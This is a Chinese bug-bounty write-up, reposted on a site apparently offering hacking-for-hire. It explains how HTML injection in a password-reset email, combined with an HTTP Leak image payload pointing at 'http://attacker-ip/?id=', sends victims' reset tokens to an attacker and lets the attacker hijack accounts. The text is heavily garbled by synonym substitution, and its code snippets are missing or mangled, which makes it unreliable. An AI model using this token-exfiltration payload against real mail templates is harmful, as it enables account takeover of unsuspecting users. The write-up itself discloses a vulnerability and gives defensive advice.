通过密码重置功能构造HTTP Leak实现任意账户劫持-黑客接单平台

本文共享的是,作者在参加某次缝隙约请测验项目中,发现方针使用服务的暗码重置恳求存在HTML注入缝隙(HTML injection),经过进一步的HTTP Leak进犯结构,获取到账户的暗码重置Token,以此直...


本文共享的是,作者在参加某次缝隙约请测验项目中,发现方针使用服务的暗码重置恳求存在HTML注入缝隙(HTML injection),经过进一步的HTTP Leak进犯结构,获取到账户的暗码重置Token,以此直接完成恣意账户绑架。(出于保密准则,文中触及到的方针使用服务用app.com替代)。
暗码重置恳求中的HTML注入
在针对方针使用服务的暗码重置功用测验过程中,我发现在服务端和我的重置暗码测验账户之间存在以下POST恳求,即它会自意向重置暗码的用户邮箱发送以下邮件,提示用户点击相应的重置链接[RESET LINK]去修正暗码,该恳求是一个HTML邮件格局:

仔细看,能够发现,其间的emailBody运用的是模板款式,所以,接下来,咱们就来看看这儿它能不能被使用,能否向其间注入一些东西。因而,我在其间刺进了一个标签内容,如下:

这样一来,在我的重置暗码测验用户邮箱中,收到了以下邮件,留意看,在我新增加的click之后,是暗码重置需求点击的暗码修正链接,也便是POST恳求中的[RESET-LINK]:

很明显,方针使用服务未对HTML邮件模板的用户输入做安全过滤,导致emailBody元素可被进犯者操控,这是一种典型的HTML注入缝隙。但在这儿,能发生什么影响呢? 此刻,我忽然想到了HTTP Leak进犯办法,能够用这种办法来看看是否存在相关的信息走漏,或许能在其间获取到对应账户的暗码重置Token。
HTTP Leak进犯简介
当时Web技能下包含了许多HTML元素和特点,这些HTML元素和特点会恳求一些外部资源,而在它们的HTTP恳求过程中,或许存在潜在的灵敏信息走漏。为此,德国闻名网络安全公司Cure53建议了名为HTTP Leaks的进犯办法研讨项目(项目拜见Github -HttpLeaks),其进犯办法意图在于,枚举出各类HTTP恳求中或许存在的信息走漏问题。
别的,某些场景下,还能使用HTTP Leak绕过CSP防护机制,如@filedescriptor的《CSP 2019》,以及@intidc大神的《HTML injection can lead to data theft》。
就比方,在HTTP恳求触及的一些HTML邮件格局中,假如存在HTTP Leak问题,那么,能够使用它来知道收信人是否翻开或许阅读了邮件;还有一些Web署理东西,它们宣称能够用“匿名”的办法去拜访某些网站,但一些HTML元素或特点的重写过程中,就会触及到外部资源的HTTP恳求,假如这其间存在信息走漏问题,那么,其宣称的“匿名”维护也就无从谈起了。
结构HTTP Leak进犯Payload
在此,咱们需求了解HTML邮件格局模板(可点此查看Email Templates),其间的暗码重置恳求模板如下:
---
Subject: Retrieve your password on {{ settings.businessAddress.company }}.
---
html>
head>
head>
body style="font-family: Arial; font-size: 12px;">
div>
    p>
        You have requested a password reset, please follow the link below to reset your password.
    p>
    p>
        Please ignore this email if you did not request a password change.
    p>
    p>
        a href="{{ RESET-LINK }}">
            Follow this link to reset your password.
        a>
    p>
div>
body>
html>
结合前述暗码重置恳求的HTML邮件格局注入缝隙,咱们能够在[RESE-TLINK]之前刺进以下格局的Payload:
http://attacker-ip/?id=
留意看,这种刺进终究就形成了:
http://attacker-ip/?id=“{{ RESET-LINK }}”
其间,榜首对双引号的闭合区间 “http://attacker-ip/?id=“ 成为了终究的暗码重置点击链接,也便是说,受害者收到暗码重置恳求邮件后,他点击的暗码重置链接将会是进犯者操控的网站http://attacker-ip/,这样一来,方针使用发生的暗码重置token就会发送到进犯者操控的网站http://attacker-ip/。
这儿,因为刺进的http://attacker-ip/?id= 伪装成一张图片元素,所以,实际上,只需受害者翻开暗码重置恳求邮件,不需求点击其间的重置链接,当邮件体建议图片加载时,就能主动恳求进犯者网站,完成暗码重置token向http://attacker-ip/的发送,如下:

缝隙影响
获得了其他账户的暗码重置token,那么就能够直接操作,完成对其他账户的绑架了。现在,就从我的测验来看,除Gmail 和Yahoo外,有许多干流的邮件服务商大多都存在这种HTML注入+HTTP Leak的问题,从防护层面来说,需求对HTML邮件模板的用户可输入和修改功用进行安全过滤查看。
 

  • 发表于 2021-04-08 11:35
  • 阅读 ( 2 )
  • 分类:生活经历

0 条评论

请先 登录 后评论
咚咚生活
咚咚生活

11 篇文章

你可能感兴趣的

相关问题